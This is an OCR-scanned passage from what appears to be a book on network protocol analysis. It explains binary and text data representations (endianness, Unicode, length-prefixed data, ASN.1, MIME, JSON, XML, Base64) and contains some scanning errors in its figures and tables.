Booleans

Because Booleans are very important to computers, it’s no surprise to see
them reflected in a protocol. Each protocol determines how to represent



whether a Boolean value is true or false, but there are some common
conventions.

The basic way to represent a Boolean is with a single-bit value. A 0 bit
means false and a 1 means true. This is certainly space efficient but not
necessarily the simplest way to interface with an underlying application. It’s
more common to use a single byte for a Boolean value because it’s far easier
to manipulate. It’s also common to use zero to represent false and non-zero
to represent true.

Bit Flags

Bit flags are one way to represent specific Boolean states in a protocol. For
example, in 'TCP a set of bit flags is used to determine the current state of a
connection. When making a connection, the client sends a packet with the
synchronize flag (SYN) set to indicate that the connections should
synchronize their timers. The server can then respond with an
acknowledgment (ACK) flag to indicate it has received the client request as
well as the SYN flag to establish the synchronization with the client. If this
handshake wused single enumerated values, this dual state would be
impossible without a distinct SYN/ACK state.

Binary Endian

The endianness of data is a very important part of interpreting binary
protocols correctly. It comes into play whenever a multi-octet value, such as
a 32-bit word, is transferred. The endian is an artifact of how computers
store data in memory.

Because octets are transmitted sequentially on the network, it’s possible
to send the most significant octet of a value as the first part of the
transmission, as well as the reverse—send the least significant octet first. The
order in which octets are sent determines the endianness of the data. Failure
to correctly handle the endian format can lead to subtle bugs in the parsing
of protocols.

Modern platforms use two main endian formats: big and little. Big endian
stores the most significant byte at the lowest address, whereas little endian

stores the least significant byte in that location. Figure 3-5 shows how the
32-bit integer 0x01020304 is stored in both forms.



Lowest address Highest address

0x01020304 1 l

as 32-bit 0x01 | 0x02 | Ox03 | Ox04

big endian word

0x01020304
as 32-bit 0x04 | 0x03 | 0x02 | Ox01

little endian word

Figure 3-5: Big and little endian word representation

The endianness of a value is commonly referred to as either network order
or host order. Because the Internet RFCs invariably use big endian as the
preferred type for all network protocols they specify (unless there are legacy
reasons for doing otherwise), big endian is referred as network order. But
your computer could be either big or little endian. Processor architectures
such as x86 use little endian; others such as SPARC use big endian.

Some processor architectures, including SPARC, ARM, and MIPS, may have
onboard logic that specifies the endianness at runtime, usually by toggling a
processor control flag. When developing network software, make no assumptions
about the endianness of the platform you might be running on. The networking
API used to build an application will typically contain convenience functions for
converting to and from these orders. Other platforms, such as PDP-11, use a
middle endian format where 16-bit words are swapped; however, you're
unlikely to ever encounter one in everyday life, so don’t dwell on it.

Text and Human-Readable Data

Along with numeric data, strings are the value type you’ll most commonly
encounter, whether they’re being used for passing authentication credentials
or resource paths. When inspecting a protocol designed to send only English
characters, the text will probably be encoded using ASCII. The original
ASCII standard defined a 7-bit character set from 0 to 0x7F, which includes



most of the characters needed to represent the English language (shown in
Figure 3-6).

Control Printable
character character
Lower 4 bits
0 1 2 3 4 5 6 7 8 Q A B C D E F
O | NUL|SCH| STX | ETX | EOT |ENQ|ACK| BEL | BS |TAB| LF | VT | FF | CR | SO | Sl
1 DLE | DC1 |DC2 | DC3 | DC4 | NAK| SYN | ETB |CAN]| EM | SUB | ESC| FS | GS | RS | US
2| SP | " # $ % & ! ( ) * + , - : /
£
l: 3 0 1 2 3 4 5 6 7 8 Q : < = > 2
% 4| @ A B C D E F G H | J K L M N o]
5 P Q R S T u A W | X Y Z [ AN ] A _
6 a b c d e f g h i i k | m n o
71 p q r s t v v | w X y z { [ } ~ | DEL

Figure 3-6: A 7-bit ASCII table

The ASCII standard was originally developed for text terminals (physical
devices with a moving printing head). Control characters were used to send
messages to the terminal to move the printing head or to synchronize serial
communications between the computer and the terminal. The ASCII
character set contains two types of characters: control and printable. Most of
the control characters are relics of those devices and are virtually unused.
But some still provide information on modern computers, such as CR and
LF, which are used to end lines of text.

The printable characters are the ones you can see. This set of characters
consists of many familiar symbols and alphanumeric characters; however,
they won’t be of much use if you want to represent international characters,
of which there are thousands. It’s unachievable to represent even a fraction
of the possible characters in all the world’s languages in a 7-bit number.

Three strategies are commonly employed to counter this limitation: code
pages, multibyte character sets, and Unicode. A protocol will either require
that you use one of these three ways to represent text, or it will offer an



option that an application can select.

Code Pages

The simplest way to extend the ASCII character set is by recognizing that if
all your data is stored in octets, 128 unused values (from 128 to 255) can be
repurposed for storing extra characters. Although 256 values are not enough
to store all the characters in every available language, you have many
different ways to use the unused range. Which characters are mapped to
which values is typically codified in specifications called code pages or character
encodings.

Multibyte Character Sets

In languages such as Chinese, Japanese, and Korean (collectively referred to
as CJK), you simply can’t come close to representing the entire written
language with 256 characters, even if you use all available space. The
solution is to use multibyte character sets combined with ASCII to encode
these languages. Common encodings are Shift-JIS for Japanese and GB2312
for simplified Chinese.

Multibyte character sets allow you to use two or more octets in sequence to
encode a desired character, although you’ll rarely see them in use. In fact, if
you’re not working with CJK, you probably won’t see them at all. (For the
sake of brevity, I won’t discuss multibyte character sets any further; plenty of
online resources will aid you in decoding them if required.)

Unicode

The Unicode standard, first standardized in 1991, aims to represent all
languages within a unified character set. You might think of Unicode as
another multibyte character set. But rather than focusing on a specific
language, such as Shift-JIS does with Japanese, it tries to encode all written
languages, including some archaic and constructed ones, into a single
universal character set.

Unicode defines two related concepts: character mapping and character
encoding. Character mappings include mappings between a numeric value
and a character, as well as many other rules and regulations on how
characters are used or combined. Character encodings define the way these



numeric values are encoded in the underlying file or network protocol. For
analysis purposes, it’s far more important to know how these numeric values
are encoded.

Each character in Unicode is assigned a code point that represents a unique
character. Code points are commonly written in the format U+4ABCD, where
ABCD is the code point’s hexadecimal value. For the sake of compatibility,
the first 128 code points match what is specified in ASCII, and the second
128 code points are taken from ISO/IEC 8859-1. The resulting value is
encoded using a specific scheme, sometimes referred to as Universal
Character Set (UCS) or Unicode Transformation Format (UTF) encodings.
(Subtle differences exist between UCS and UTF formats, but for the sake of
identification and manipulation, these differences are unimportant.) Figure
3-7 shows a simple example of some different Unicode formats.

Code points: Hello = U+0048 - U+0065 - U+006C - U+006C - U+006F

UCS-2/UTF-16 little endian

0x48 | Ox00 | Ox65 | Ox00 | Ox6C | Ox00 | Ox6C | Ox00 | Ox6F | 0x00

UCS-2/UTF-16 Big endian

0x00 | Ox48 | 0x00 | Ox65 | 0x00 | Ox6C | Ox00 | Ox6C | 0xO0 | Ox&F

UCS-4/UTF-32 Little endian

0x48 | 0x00 | 0x00 | Ox00 | Ox65 | Ox00 | Ox00 | Ox00 | Ox6C | OxO0 | Ox00 | Ox00

O0x6C | 0x00 | Ox00 | Ox00 | Ox6F | Ox00 | Ox00 | 0x00

UTF-8

Ox48 | Ox65 | Ox6C | Ox6C | Ox6F

Figure 3-7: The string "Hello" in different Unicode encodings

Three common Unicode encodings in use are UTF-16, UTF-32, and
UTF-8.



UCS-2/UTF-16

UCS-2/UTF-16 is the native format on modern Microsoft Windows
platforms, as well as the Java and .NET virtual machines when they are
running code. It encodes code points in sequences of 16-bit integers and
has little and big endian variants.

UCS-4/UTF-32

UCS-4/UT¥F-32 is a common format used in Unix applications because
it’s the default wide-character format in many C/C++ compilers. It
encodes code points in sequences of 32-bit integers and has different
endian variants.

UTF-8
UTEF-8 is probably the most common format on Unix. It is also the
default input and output format for varying platforms and technologies,
such as XML. Rather than having a fixed integer size for code points, it
encodes them using a simple variable length value. Table 3-3 shows how
code points are encoded in UTF-8.

Table 3-3: Encoding Rules for Unicode Code Points in UTF-8

Bits of First Lastcode Bytel Byte2 Byte3 Byte4
code code point (U+)
point point

(U+)
0-7 0000 007F 030000
8-11 0080 07FF 110x00cx 10300000
12-16 0800 FFFF 1110x0x 10xooo 10x0000ce

17-21 10000 1FFFFF 11110xxx  10xxxxxx 10xxxxxx 10xxxxxx
22-26 200000 SFFFFFF 111110xx  10xxxxxx 10xxxxxx 10xxxxxx
26-31 4000000 7FFFFFFF 1111110x 10xxxxxx 10xxxxxx 10xxxxxx

UTF-8 has many advantages. For one, its encoding definition ensures
that the ASCII character set, code points U+0000 through U+007F, are
encoded using single bytes. This scheme makes this format not only ASCII



compatible but also space efficient. In addition, UTF-8 is compatible with
C/C++ programs that rely on NUL-terminated strings.

For all of its benefits, UTF-8 does come at a cost, because languages like
Chinese and Japanese consume more space than they do in UTF-16. Figure
3-8 shows such a disadvantageous encoding of Chinese characters. But
notice that the UTF-8 in this example is still more space efficient than the
UTF-32 for the same characters.

Code points: 2T = U+5154 - U+5B50

UCS-2 /UTF-16 Little endian UCS-2/UTF-16 Big endian

Ox54 | Ox51 | Ox50 | Ox5B Ox51 | Ox54 | Ox5B | Ox50

UCS-4/UTF-32 Little endian

Ox54 | Ox51 | OxO0 | OxO0 | Ox50 | Ox5B | Ox00 | OxO0

UTF-8

OxES | OxB5 | Ox94 | OxES | OxAD | Ox%0

Figure 3-8: The string "®&F" in different Unicode encodings

Incorrect or naive character encoding can be a source of subtle security issues,
ranging from bypassing filtering mechanisms (say in a requested resource path)
to causing buffer overflows. We'll investigate some of the vulnerabilities
associated with character encoding in Chapter 10.

Variable Binary Length Data

If the protocol developer knows in advance exactly what data must be
transmitted, they can ensure that all values within the protocol are of a fixed



length. In reality this is quite rare, although even simple authentication
credentials would benefit from the ability to specify variable username and
password string lengths. Protocols use several strategies to produce variable-
length data values: I discuss the most common—terminated data, length-
prefixed data, implicit-length data, and padded data—in the following
sections.

Terminated Data

You saw an example of variable-length data when variable-length integers
were discussed earlier in this chapter. The variable-length integer value was
terminated when the octet’s MSB was 0. We can extend the concept of
terminating values further to elements like strings or data arrays.

A terminated data value has a terminal symbol defined that tells the data
parser that the end of the data value has been reached. The terminal symbol
is used because it’s unlikely to be present in typical data, ensuring that the
value isn’t terminated prematurely. With string data, the terminating value

can be a NUL value (represented by 0) or one of the other control characters
in the ASCII set.

If the terminal symbol chosen occurs during normal data transfer, you
need to use a mechanism to escape these symbols. With strings, it’s common
to see the terminating character either prefixed with a backslash (\) or
repeated twice to prevent it from being identified as the terminal symbol.
This approach is especially useful when a protocol doesn’t know ahead of
time how long a value is—for example, if it’s generated dynamically. Figure
3-9 shows an example of a string terminated by a NUL value.

Valid string data

H g -l =L il 7k NUL
Ox48 | Ox65 | Ox6C | Ox6C | Ox6F | Ox00

1

Terminating
character

Figure 3-9: "Hello" as a NUL-terminated string




Bounded data is often terminated by a symbol that matches the first
character in the variable-length sequence. For example, when using string
data, you might find a guoted string sandwiched between quotation marks.
The initial double quote tells the parser to look for the matching character
to end the data. Figure 3-10 shows a string bounded by a pair of double
quotes.

Valid string data

'H' == il il o
O0x22 | Ox48 | Ox65 | Ox6C | Ox6C | Ox6F | Ox22

T !

Starting Ending
quote quote

Figure 3-10: "Hello" as a double-quoted bounded string

Length-Prefixed Data

If a data value is known in advance, it’s possible to insert its length into the
protocol directly. The protocol’s parser can read this value and then read the
appropriate number of units (say characters or octets) to extract the original
value. This is a very common way to specify variable-length data.

The actual size of the length prefix is usually not that important, although
it should be reasonably representative of the types of data being transmitted.
Most protocols won’t need to specify the full range of a 32-bit integer;
however, you’ll often see that size used as a length field, if only because it fits
well with most processor architectures and platforms. For example, Figure
3-11 shows a string with an 8-bit length prefix.



Number of

characters 5 Characters
'H' 'e! i & g 'o'
0x03 Ox48 | Ox&65 | Ox6C | Ox6C | OxéF

Figure 3-11: "Hello" as a length-prefixed string

Implicit-Length Data

Sometimes the length of the data value is implicit in the values around it.
For example, think of a protocol that is sending data back to a client using a
connection-oriented protocol such as TCP. Rather than specifying the size
of the data up front, the server could close the TCP connection, thus
implicitly signifying the end of the data. This is how data is returned in an
HT'TP version 1.0 response.

Another example would be a higher-level protocol or structure that has
already specified the length of a set of values. The parser might extract that
higher-level structure first and then read the values contained within it. The
protocol could use the fact that this structure has a finite length associated
with it to implicitly calculate the length of a value in a similar fashion to
close the connection (without closing it, of course). For example, Figure 3-
12 shows a trivial example where a 7-bit variable integer and string are
contained within a single block. (Of course, in practice, this can be
considerably more complex.)



0x80 as 7-bit

variable integer String data
el e | 2] 1 ] o
0x07 [ 0xB0 | 0x00 | 5 1o | 0x65 | 0xec | 0xéC | OxeF

Total 7 Octets of

size data
Figure 3-12: "Hello" as an implicit-length string

Padded Data

Padded data is used when there is a maximum upper bound on the length of
a value, such as a 32-octet limit. For the sake of simplicity, rather than
prefixing the value with a length or having an explicit terminating value, the
protocol could instead send the entire fixed-length string but terminate the
value by padding the unused data with a known value. Figure 3-13 shows an
example.

Valid string data Padding data

W | e s | oEE | Set | Ae | teR | R | 2gF | 22 | g
0x48 | 0x65 | Ox6C | Ox6C | Ox6F | 0x24 | 0x24 | 0x24 | Ox24 | Ox24 | Ox24

Figure 3-13: "Hello" as a 'S' padded string

Dates and Times

It can be very important for a protocol to get the correct date and time. Both
can be used as metadata, such as file modification timestamps in a network
file protocol, as well as to determine the expiration of authentication
credentials. Failure to correctly implement the timestamp might cause



serious security issues. The method of date and time representation depends
on usage requirements, the platform the applications are running on, and the
protocol’s space requirements. I discuss two common representations,

POSIX/Unix Time and Windows FILETIME, in the following sections.

POSIX/Unix Time

Currently, POSIX/Unix time is stored as a 32-bit signed integer value
representing the number of seconds that have elapsed since the Unix epoch,
which is usually specified as 00:00:00 (UTC), 1 January 1970. Although this
isn’t a high-definition timer, it’s sufficient for most scenarios. As a 32-bit
integer, this value is limited to 03:14:07 (UTC) 19 January 2038, at which
point the representation will overflow. Some modern operating systems now
use a 64-bit representation to address this problem.

Windows FILETIME

The Windows FILETIME is the date and time format used by Microsoft
Windows for its filesystem timestamps. As the only format on Windows with
simple binary representation, it also appears in a few different protocols.

The FILETIME format is a 64-bit unsigned integer. One unit of the
integer represents a 100 ns interval. The epoch of the format is 00:00:00
(UTC), 1 January 1601. This gives the FILETIME format a larger range
than the POSIX/Unix time format.

Tag, Length, Value Pattern

It’s easy to imagine how one might send unimportant data using simple
protocols, but sending more complex and important data takes some
explaining. For example, a protocol that can send different types of
structures must have a way to represent the bounds of a structure and its
type.

One way to represent data is with a Tug, Length, Value (ITLV) pattern. The
Tag value represents the type of data being sent by the protocol, which is
commonly a numeric value (usually an enumerated list of possible values).
But the Tag can be anything that provides the data structures with a unique



pattern. The Length and Value are variable-length values. The order in
which the values appear isn’t important; in fact, the Tag might be part of the
Value. Figure 3-14 show a couple of ways these values could be arranged.

The Tag value sent can be used to determine how to further process the
data. For example, given two types of Tags, one that indicates the
authentication credentials to the application and another that represents a
message being transmitted to the parser, we must be able to distinguish
between the two types of data. One big advantage to this pattern is that it
allows us to extend a protocol without breaking applications that have not
been updated to support the updated protocol. Because each structure is sent
with an associated Tag and Length, a protocol parser could ignore the
structures that it doesn’t understand.

Tag outside
value 3-octet value 4-octet valve
0x08 | Ox00 | 0x03 | Ox12 | Ox34 | Ox56 0x00 | Ox04 [ Ox08 | Ox12 | Ox34 | Ox56
16-bit 16-bit  Tag inside
length length valve

Figure 3-14: Possible TLV arrangements

Multiplexing and Fragmentation

Often in computer communication, multiple tasks must happen at once. For
example, consider the Microsoft Remote Desktop Protocol (RDP): a user could
be moving the mouse cursor, typing on the keyboard, and transferring files
to a remote computer while changes in the display and audio are being
transmitted back to the user (see Figure 3-15).



User interface updates ———m

-a— Keyboard and mouse updates —

Sound ——p

Remote deskiop
-4——— Shared files ————= alismt

Remote desktop server

Figure 3-15: Data needs for Remote Desktop Protocol

This complex data transfer would not result in a very rich experience if
display updates had to wait for a 10-minute audio file to finish before
updating the display. Of course, a workaround would be opening multiple
connections to the remote computer, but those would use more resources.
Instead, many protocols use multiplexing, which allows multiple connections
to share the same underlying network connection.

Multiplexing (shown in Figure 3-16) defines an internal channel
mechanism that allows a single connection to host multiple types of traffic
by fragmenting large transmissions into smaller chunks. Multiplexing then
combines these chunks into a single connection. When analyzing a protocol,
you may need to demultiplex these channels to get the original data back
out.

User Shared o
interface file o:;a
update update L

Remote desktop client

Remote deskiop server

User
usodu:ti interface
P update

Figure 3-16: Multiplexed RDP data



Unfortunately, some network protocols restrict the type of data that can
be transmitted and how large each packet of data can be—a problem
commonly encountered when layering protocols. For example, Ethernet
defines the maximum size of traffic frames as 1500 octets, and running IP on
top of that causes problems because the maximum size of IP packets can be
65536 bytes. Fragmentation is designed to solve this problem: it uses a
mechanism that allows the network stack to convert large packets into
smaller fragments when the application or OS knows that the entire packet
cannot be handled by the next layer.

Network Address Information

The representation of network address information in a protocol usually
follows a fairly standard format. Because we’re almost certainly dealing with
TCP or UDP protocols, the most common binary representation is the IP
address as either a 4- or 16-octet value (for IPv4 or IPv6) along with a 2-
octet port. By convention, these values are typically stored as big endian
integer values.

You might also see hostnames sent instead of raw addresses. Because
hostnames are just strings, they follow the patterns used for sending
variable-length strings, which was discussed earlier in “Variable Binary
Length Data” on page 47. Figure 3-17 shows how some of these formats
might appear.



IPv4 address

127.0.0.1 TCP port 80
Ox7F | Ox00 | Ox00 | OxO1 | 0x0D0 | 0x50
Hostname
a.com TCP port 80
g e 8 'm' | Ox00 | Ox00 | Ox50
Terminating
character
IPvé address
(128 bits)
1] TCP port 80
0x00 | 0x0D0 | 0x00 0x00 | 0x00 | 0x01 | Ox00 | Ox50

Figure 3-17: Network information in binary

Structured Binary Formats

Although custom network protocols have a habit of reinventing the wheel,
sometimes it makes more sense to repurpose existing designs when
describing a new protocol. For example, one common format encountered in
binary protocols is Abstract Syntax Notation 1 (ASN.1). ASN.1 is the basis for
protocols such as the Simple Network Management Protocol (SNMP), and
it is the encoding mechanism for all manner of cryptographic values, such as

X.509 certificates.




ASN.1 is standardized by the ISO, IEC, and I'TU in the X.680 series. It
defines an abstract syntax to represent structured data. Data is represented in
the protocol depending on the encoding rules, and numerous encodings
exist. But you’re most likely to encounter the Distinguished Encoding Rules
(DER), which is designed to represent ASN.1 structures in a way that cannot
be misinterpreted—a useful property for cryptographic protocols. The DER
representation is a good example of a TLV protocol.

Rather than going into great detail about ASN.1 (which would take up a
fair amount of this book), I give you Listing 3-1, which shows the ASN.1 for
X.509 certificates.

Certificate ::= SEQUENCE {
version [06] EXPLICIT Version DEFAULT vi,
serialNumber CertificateSerialNumber,
signature AlgorithmIdentifier,
issuer Name,
validity Validity,
subject Name,

subjectPublicKeyInfo SubjectPublicKeyInfo,
issuerUniqueID [1] IMPLICIT Uniqueldentifier OPTIONAL,
subjectUniquelID [2] IMPLICIT UniqueIdentifier OPTIONAL,
extensions [3] EXPLICIT Extensions OPTIONAL

}

Listing 3-1: ASN.1 representation for X.509 certificates

This abstract definition of an X.509 certificate can be represented in any
of ASN.I’s encoding formats. Listing 3-2 shows a snippet of the DER
encoded form dumped as text using the OpenSSL utility.

$ openssl asnilparse -in example.cer
0:d=0 hl=4 1= 539 cons: SEQUENCE

4:d=1 hl=4 1= 388 cons: SEQUENCE

8:d=2 hl=2 1= 3 cons: cont [ 0 ]

10:d=3 h1=2 1= 1 prim: INTEGER 102

13:d=2 h1=2 1= 16 prim: INTEGER :19BB8ESE2F7D6OBE48BFE6840B50F7C3
31:d=2 h1=2 1= 13 cons: SEQUENCE

33:d=3 hl=2 1= 9 prim: OBJECT :shalWithRSAEncryption
44:d=3 hl=2 1= 0 prim: NULL

46:d=2 hl=2 1= 17 cons: SEQUENCE

48:d=3 hl=2 1= 15 cons: SET

50:d=4 h1=2 1= 13 cons: SEQUENCE

52:d=5 hl1=2 1= 3 prim: OBJECT :commonName

57:d=5 h1l=2 1= 6 prim: PRINTABLESTRING :democa

Listing 3-2: A small sample of X.509 certificate



Text Protocol Structures

Text protocols are a good choice when the main purpose is to transfer text,
which is why mail transfer protocols, instant messaging, and news
aggregation protocols are usually text based. Text protocols must have
structures similar to binary protocols. The reason is that, although their
main content differs, both share the goal of transferring data from one place
to another.

The following section details some common text protocol structures that
you’ll likely encounter in the real world.

Numeric Data

Over the millennia, science and written languages have invented ways to
represent numeric values in textual format. Of course, computer protocols
don’t need to be human readable, but why go out of your way just to prevent
a protocol from being readable (unless your goal is deliberate obfuscation).

Integers

It’s easy to represent integer values using the current character set’s
representation of the characters 0 through 9 (or A through F if hexadecimal).
In this simple representation, size limitations are no concern, and if a
number needs to be larger than a binary word size, you can add digits. Of
course, you’d better hope that the protocol parser can handle the extra digits
or security issues will inevitably occur.

T'o make a signed number, you add the minus (-) character to the front of
the number; the plus (+) symbol for positive numbers is implied.

Decimal Numbers

Decimal numbers are usually defined using human-readable forms. For
example, you might write a number as 1.234, using the dot character to
separate the integer and fractional components of the number; however,
you’ll still need to consider the requirement of parsing a value afterward.

Binary representations, such as floating point, can’t represent all decimal
values precisely with finite precision (just as decimals can’t represent
numbers like 1/3). This fact can make some values difficult to represent in



text format and can cause security issues, especially when values are
compared to one another.

Text Booleans

Booleans are easy to represent in text protocols. Usually, they’re represented
using the words #ue or false. But just to be difficult, some protocols might
require that words be capitalized exactly to be valid. And sometimes integer
values will be used instead of words, such as 0 for false and 1 for true, but not
very often.

Dates and Times

At a simple level, it’s easy to encode dates and times: just represent them as
they would be written in a human-readable language. As long as all
applications agree on the representation, that should suffice.

Unfortunately, not everyone can agree on a standard format, so typically
many competing date representations are in use. This can be a particularly
acute issue in applications such as mail clients, which need to process all
manner of international date formats.

Variable-Length Data

All but the most trivial protocols must have a way to separate important text
fields so they can be easily interpreted. When a text field is separated out of
the original protocol, it’s commonly referred to as a token. Some protocols
specify a fixed length for tokens, but it’s far more common to require some

type of variable-length data.

Delimited Text

Separating tokens with delimiting characters is a very common way to
separate tokens and fields that’s simple to understand and easy to construct
and parse. Any character can be used as the delimiter (depending on the type
of data being transferred), but whitespace is encountered most in human-
readable formats. That said, the delimiter doesn’t have to be whitespace. For
example, the Financial Information Exchange (FIX) protocol delimits tokens



using the ASCII Start of Header (SOH) character with a value of 1.

Terminated Text

Protocols that specify a way to separate individual tokens must also have a
way to define an End of Command condition. If a protocol is broken into
separate lines, the lines must be terminated in some way. Most well-known,
text-based Internet protocols are /ine oriented, such as HI'TP and IRC; lines
typically delimit entire structures, such as the end of a command.

What constitutes the end-of-line character? That depends on whom you
ask. OS developers usually define the end-of-line character as either the
ASCII Line Feed (LF), which has the value 10; the Carriage Return (CR) with
the value 13; or the combination CR LF. Protocols such as HI'TP and
Simple Mail Transfer Protocol (SMTP) specify CR LF as the official end-
of-line combination. However, so many incorrect implementations occur
that most parsers will also accept a bare LF as the end-of-line indication.

Structured Text Formats

As with structured binary formats such ASN.1, there is normally no reason
to reinvent the wheel when you want to represent structured data in a text
protocol. You might think of structured text formats as delimited text on
steroids, and as such, rules must be in place for how values are represented
and hierarchies constructed. With this in mind, I’ll describe three formats in
common use within real-world text protocols.

Multipurpose Internet Mail Extensions

Originally developed for sending multipart email messages, Multipurpose
Internet Mail Extensions (MIME) found its way into a number of protocols,
such as HT'TP. The specification in RFCs 2045, 2046 and 2047, along with
numerous other related RFCs, defines a way of encoding multiple discrete
attachments in a single MIME-encoded message.

MIME messages separate the body parts by defining a common separator
line prefixed with two dashes (--). The message is terminated by following
this separator with the same two dashes. Listing 3-3 shows an example of a
text message combined with a binary version of the same message.




MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=MSG_2934894829

This is a message with multiple parts in MIME format.
--MSG_2934894829
Content-Type: text/plain

Hello World!

--MSG_2934894829

Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

PGhObWw+Cjxi1b2R5PgpIZWxsbyBXb3JsZCEKPC91b2R5Pgo8L2hObWw+Cg==
--MSG_2934894829- -

Listing 3-3: A simple MIME message

One of the most common uses of MIME is for Content-Type values,
which are usually referred to as MIME types. A MIME type is widely used
when serving HT'TP content and in operating systems to map an application
to a particular content type. Each type consists of the form of the data it
represents, such as rext or application, in the format of the data. In this case,
plain is unencoded text and octet-streanm is a series of bytes.

JavaScript Object Notation

FavaScript Object Notation (JSON) was designed as a simple representation for
a structure based on the object format provided by the JavaScript
programming language. It was originally used to transfer data between a web
page in a browser and a backend service, such as in Asynchronous JavaScript
and XML (AJAX). Currently, it’'s commonly used for web service data
transfer and all manner of other protocols.

The JSON format is simple: a JSON object is enclosed using the braces
({}) ASCII characters. Within these braces are zero or more member entries,
each consisting of a key and a value. For example, Listing 3-4 shows a simple
JSON object consisting of an integer index value, "Hello world!" as a string,
and an array of strings.

{
"{ndex" : 0,
"str" : "Hello World!",
llarrll : [ "A", IIBII ]

}

Listing 3-4: A simple JSON object



The JSON format was designed for JavaScript processing, and it can be
parsed using the "eval" function. Unfortunately, using this function comes
with a significant security risk; namely, it’s possible to insert arbitrary script
code during object creation. Although most modern applications use a
parsing library that doesn’t need a connection to JavaScript, it’s worth
ensuring that arbitrary JavaScript code is not executed in the context of the
application. The reason is that it could lead to potential security issues, such
as cross-site scripting (XSS), a vulnerability where attacker-controlled
JavaScript can be executed in the context of another web page, allowing the
attacker to access the page’s secure resources.

Extensible Markup Language

Extensible Markup Language (XML) is a markup language for describing a
structured document format. Developed by the W3C, it’s derived from
Standard Generalized Markup Language (SGML). It has many similarities

to HTML, but it aims to be stricter in its definition in order to simplify

parsers and create fewer security issues. !

At a basic level, XML consists of elements, attributes, and text. Elements
are the main structural values. They have a name and can contain child
elements or text content. Only one root element is allowed in a single
document. Attributes are additional name-value pairs that can be assigned to
an element. They take the form of name="value". Text content is just that, text.
Text is a child of an element or the value component of an attribute.

Listing 3-5 shows a very simple XML document with elements,
attributes, and text values.

<value index="0"> <str>Hello World!</str>
<arr><value>A</value><value>B</value></arr>
</value>

Listing 3-5: A simple XML document

All XML data is text; no type information is provided for in the XML
specification, so the parser must know what the values represent. Certain
specifications, such as XML Schema, aim to remedy this type information
deficiency but they are not required in order to process XML content. The
XML specification defines a list of well-formed criteria that can be used to
determine whether an XML document meets a minimal level of structure.



XML is used in many different places to define the way information is
transmitted in a protocol, such as in Rich Site Summary (RSS). It can also be
part of a protocol, as in Extensible Messaging and Presence Protocol

(XMPP).

Encoding Binary Data

In the early history of computer communication, 8-bit bytes were not the
norm. Because most communication was text based and focused on English-
speaking countries, it made economic sense to send only 7 bits per byte as
required by the ASCII standard. This allowed other bits to provide control
for serial link protocols or to improve performance. This history is reflected
heavily in some early network protocols, such as the SM'TP or Network
News Transfer Protocol (NN'TP), which assume 7-bit communication
channels.

But a 7-bit limitation presents a problem if you want to send that amusing
picture to your friend via email or you want to write your mail in a non-
English character set. To overcome this limitation, developers devised a
number of ways to encode binary data as text, each with varying degrees of
efficiency or complexity.

As it turns out, the ability to convert binary content into text still has its
advantages. For example, if you wanted to send binary data in a structured
text format, such as JSON or XML, you might need to ensure that
delimiters were appropriately escaped. Instead, you can choose an existing
encoding format, such as Base64, to send the binary data and it will be easily
understood on both sides.

Let’s look at some of the more common binary-to-text encoding schemes
you’re likely to encounter when inspecting a text protocol.

Hex Encoding

One of the most naive encoding techniques for binary data is hex encoding. In
hex encoding, each octet is split into two 4-bit values that are converted to
two text characters denoting the hexadecimal representation. The result is a
simple representation of the binary in text form, as shown in Figure 3-18.



0x06 OxE3 0x58

0000|0110 11100011 0101(1000

Inl IEI IEI I3I I5I ISI

Figure 3-18: Example hex encoding of binary data

Although simple, hex encoding is not space efficient because all binary
data automatically becomes 100 percent larger than it was originally. But
one advantage is that encoding and decoding operations are fast and simple
and little can go wrong, which is definitely beneficial from a security
perspective.

HTTP specifies a similar encoding for URLs and some text protocols
called percent encoding. Rather than all data being encoded, only nonprintable
data is converted to hex, and values are signified by prefixing the value with a
% character. If percent encoding was used to encode the value in Figure 3-
18, you would get %06%E3%58.

Baseb64

To counter the obvious inefficiencies in hex encoding, we can use Base64, an
encoding scheme originally developed as part of the MIME specifications.
The 64 in the name refers to the number of characters used to encode the
data.

The input binary is separated into individual 6-bit values, enough to
represent 0 through 63. This value is then used to look up a corresponding
character in an encoding table, as shown in Figure 3-19.



Lower 4 bits
0 1 2 3 4 5 6 7 8 Q@ A B c D E F

0 A B C D E F G H | J K L M| N| O P

1 Q R S T u V | WL X Y Z a b c d e f

2 g h i i k I m n o p q r s f u v

Upper 2 bits

3 w x y z 0 1 2 3 4 5 6 7 8 9 + /

Figure 3-19: Base64 encoding table

But there’s a problem with this approach: when 8 bits are divided by 6, 2
bits remain. To counter this problem, the input is taken in units of three
octets, because dividing 24 bits by 6 bits produces 4 values. Thus, Base64
encodes 3 bytes into 4, representing an increase of only 33 percent, which is
significantly better than the increase produced by hex encoding. Figure 3-20
shows an example of encoding a three-octet sequence into Base64.

But yet another issue is apparent with this strategy. What if you have only
one or two octets to encode? Would that not cause the encoding to fail?
Base64 gets around this issue by defining a placeholder character, the equal
sign (=). If in the encoding process, no valid bits are available to use, the
encoder will encode that value as the placeholder. Figure 3-21 shows an
example of only one octet being encoded. Note that it generates two
placeholder characters. If two octets were encoded, Base64 would generate
only one.



0x06 OxE3 Ox58
DDD+DD'I'ID 'II'IDTDD]'I D]D||+DDD
Voo 4
0x01 Ox2E 0x0D Ox18
Baseé4 mapping table
Y Y Y Y
'B' i "N' "Y'
Figure 3-20: Base64 encoding 3 bytes as 4 characters
0x06
DD:DD]]D OOO0OIXXXX XXX XXXXX
Lo
0x01 0x20 [ [
Baseé4 mapping table
Y Y Y Y

g

Figure 3-21: Base64 encoding 1 byte as 3 characters




To convert Base64 data back into binary, you simply follow the steps in
reverse. But what happens when a non-Base64 character is encountered
during the decoding? Well that’s up to the application to decide. We can
only hope that it makes a secure decision.

Final Words

In this chapter, I defined many ways to represent data values in binary and
text protocols and discussed how to represent numeric data, such as integers,
in binary. Understanding how octets are transmitted in a protocol is crucial
to successfully decoding values. At the same time, it’s also important to
identify the many ways that variable-length data values can be represented
because they are perhaps the most important structure you will encounter
within a network protocol. As you analyze more network protocols, you’ll
see the same structures used repeatedly. Being able to quickly identify the
structures is key to easily processing unknown protocols.

In Chapter 4, we’ll look at a few real-world protocols and dissect them to
see how they match up with the descriptions presented in this chapter.



4
ADVANCED APPLICATION TRAFFIC CAPTURE

Usually, the network traffic-capturing techniques you learned in Chapter 2
should suffice, but occasionally you’ll encounter tricky situations that require
more advanced ways to capture network traffic. Sometimes, the challenge is
an embedded platform that can only be configured with the Dynamic Host
Configuration Protocol (DHCP); other times, there may be a network that
offers you little control unless you’re directly connected to it.

